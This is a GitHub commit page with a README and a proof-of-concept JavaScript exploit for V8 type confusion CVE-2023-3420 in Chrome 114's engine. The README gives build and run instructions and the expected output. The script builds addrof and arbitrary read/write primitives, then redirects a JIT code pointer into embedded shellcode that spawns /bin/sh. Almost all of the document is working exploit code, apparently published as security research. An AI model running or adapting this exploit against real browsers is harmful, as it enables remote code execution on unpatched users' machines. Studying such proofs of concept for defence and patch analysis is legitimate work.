Skip to content

Commit 9134619

Browse files
committed
Initial commit
1 parent 80e2d6a commit 9134619

File tree

2 files changed

+171
-0
lines changed

2 files changed

+171
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
## V8 type confusion CVE-2023-3420
2+
3+
The analysis of this bug can be found [here](https://github.blog/2023-09-26-getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler).
4+
5+
The exploit here is tested on `v8` version 11.4.183.19, which is the version shipped with Chrome 114.0.5735.106, the one before the bug is fixed, on Ubuntu 22.04. I have not tested it on Chrome itself.
6+
7+
To test, check out `v8` at version 11.4.183.19 and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`:
8+
9+
```
10+
./d8 poc.js
11+
```
12+
13+
On Ubuntu 22.04, it should call `execve("/bin/sh")` to spawn a new process:
14+
15+
```
16+
./d8 exploit.js
17+
If succeeded, it should pop a shell and give the following output:
18+
func address: 19ba61
19+
jit code address: c56cd640 55ef
20+
$
21+
```
22+
It should succeed often, but can fail due to the randomness involved in the layout of dictionary objects. A failure does not result a crash and can be detected in the script. In case of running on Chrome, when a failure is detected, the page can simply be reloaded to retry the exploit.
23+
24+
In case of failure, it should print out the following:
25+
26+
```
27+
func address: 7ff80000
28+
jit code address: 9999999a 40019999
29+
exploit failed, please retry
30+
```
31+
32+
Due to the Maglev compiler being shipped with version 114 of Chrome, the exploit may need slight modifications to make sure that the optimized functions are compiled with TurboFan instead of Maglev, otherwise the bug may not trigger.
33+
34+
Shell code may need changing on other platforms.
35+
36+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
let length = 10000;
2+
var padding = 40;
3+
4+
var arr = new Array(length);
5+
arr.fill(0);
6+
function func() {
7+
return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];
8+
}
9+
for (let i = 0; i < 5000; i++) func(0);
10+
11+
var view = new ArrayBuffer(24);
12+
var dblArr = new Float64Array(view);
13+
var intView = new Uint32Array(view);
14+
var bigIntView = new BigInt64Array(view);
15+
16+
function ftoi32(f) {
17+
dblArr[0] = f;
18+
return [intView[0], intView[1]];
19+
}
20+
21+
function i32tof(i1, i2) {
22+
intView[0] = i1;
23+
intView[1] = i2;
24+
return dblArr[0];
25+
}
26+
27+
function itof(i) {
28+
bigIntView = BigInt(i);
29+
return dblArr[0];
30+
}
31+
32+
function ftoi(f) {
33+
dblArr[0] = f;
34+
return bigIntView[0];
35+
}
36+
37+
var corrupted_arr = [1.1];
38+
var oobDblArr = [2.2];
39+
var oobObjArr = [view];
40+
oobObjArr[0] = 1;
41+
42+
var corrupted = {a : corrupted_arr};
43+
var obj0 = {px : {x : 1}};
44+
var str0 = 'aaa';
45+
var str1 = 'bbb';
46+
var str3 = 'ccc';
47+
var str4 = 'ddd';
48+
49+
function tc(x) {
50+
var obj = x.p1.px;
51+
obj.x = 100;
52+
return x.p1.px.x;
53+
}
54+
55+
function foo2(obj, proto, x,y) {
56+
obj.obj = proto;
57+
var z = 0;
58+
for (let i = 0; i < 1; i++) {
59+
for (let j = 0; j < x; j++) {
60+
for (let k = 0; k < x; k++) {
61+
z = y[k];
62+
}
63+
}
64+
65+
}
66+
proto.b = 33;
67+
return z;
68+
}
69+
70+
class B {}
71+
B.prototype.a = 1;
72+
B.prototype.a = 2;
73+
B.prototype.b = 1;
74+
75+
function bar(x) {
76+
return x instanceof B;
77+
}
78+
var args = {obj: B.prototype};
79+
foo2(args, B.prototype, 20, arr);
80+
for (let i = 0; i < 5000; i++) {
81+
foo2(args, B.prototype, 10, arr);
82+
}
83+
bar({a : 1});
84+
for (let i = 0; i < 5000; i++) {
85+
bar({b : 1});
86+
}
87+
foo2(args, B.prototype, length, arr);
88+
var z = B.prototype;
89+
var arr3 = new Array(padding);
90+
arr3.fill(1);
91+
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
92+
for (let i = 0; i < 20000; i++) {
93+
tc(obj1);
94+
}
95+
96+
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});
97+
98+
tc(obj1);
99+
100+
var oobOffset = 4;
101+
102+
function addrof(obj) {
103+
oobObjArr[0] = obj;
104+
var addrDbl = corrupted_arr[13];
105+
return ftoi32(addrDbl)[1];
106+
}
107+
108+
function read(addr) {
109+
var old_value = corrupted_arr[oobOffset];
110+
corrupted_arr[oobOffset] = i32tof(addr,2);
111+
var oldAddr = ftoi32(old_value);
112+
var out = ftoi32(oobDblArr[0]);
113+
corrupted_arr[oobOffset] = old_value;
114+
return out;
115+
}
116+
117+
function write(addr, val1, val2) {
118+
var old_value = corrupted_arr[oobOffset];
119+
corrupted_arr[oobOffset] = i32tof(addr,2);
120+
oobDblArr[0] = i32tof(val1, val2);
121+
corrupted_arr[oobOffset] = old_value;
122+
return;
123+
}
124+
125+
var funcAddr = addrof(func);
126+
console.log("func address: " + funcAddr.toString(16));
127+
var code = read(funcAddr + 0x10)[0];
128+
129+
var jitAddr = read(code + 0x8);
130+
console.log("jit code address: " + jitAddr[0].toString(16), jitAddr[1].toString(16));
131+
if (funcAddr == 0x7ff80000) {
132+
console.log("exploit failed, please retry");
133+
}
134+
write(code + 0x8, jitAddr[0] + 0x54 + 2, jitAddr[1]);
135+
func();

0 commit comments

Comments
 (0)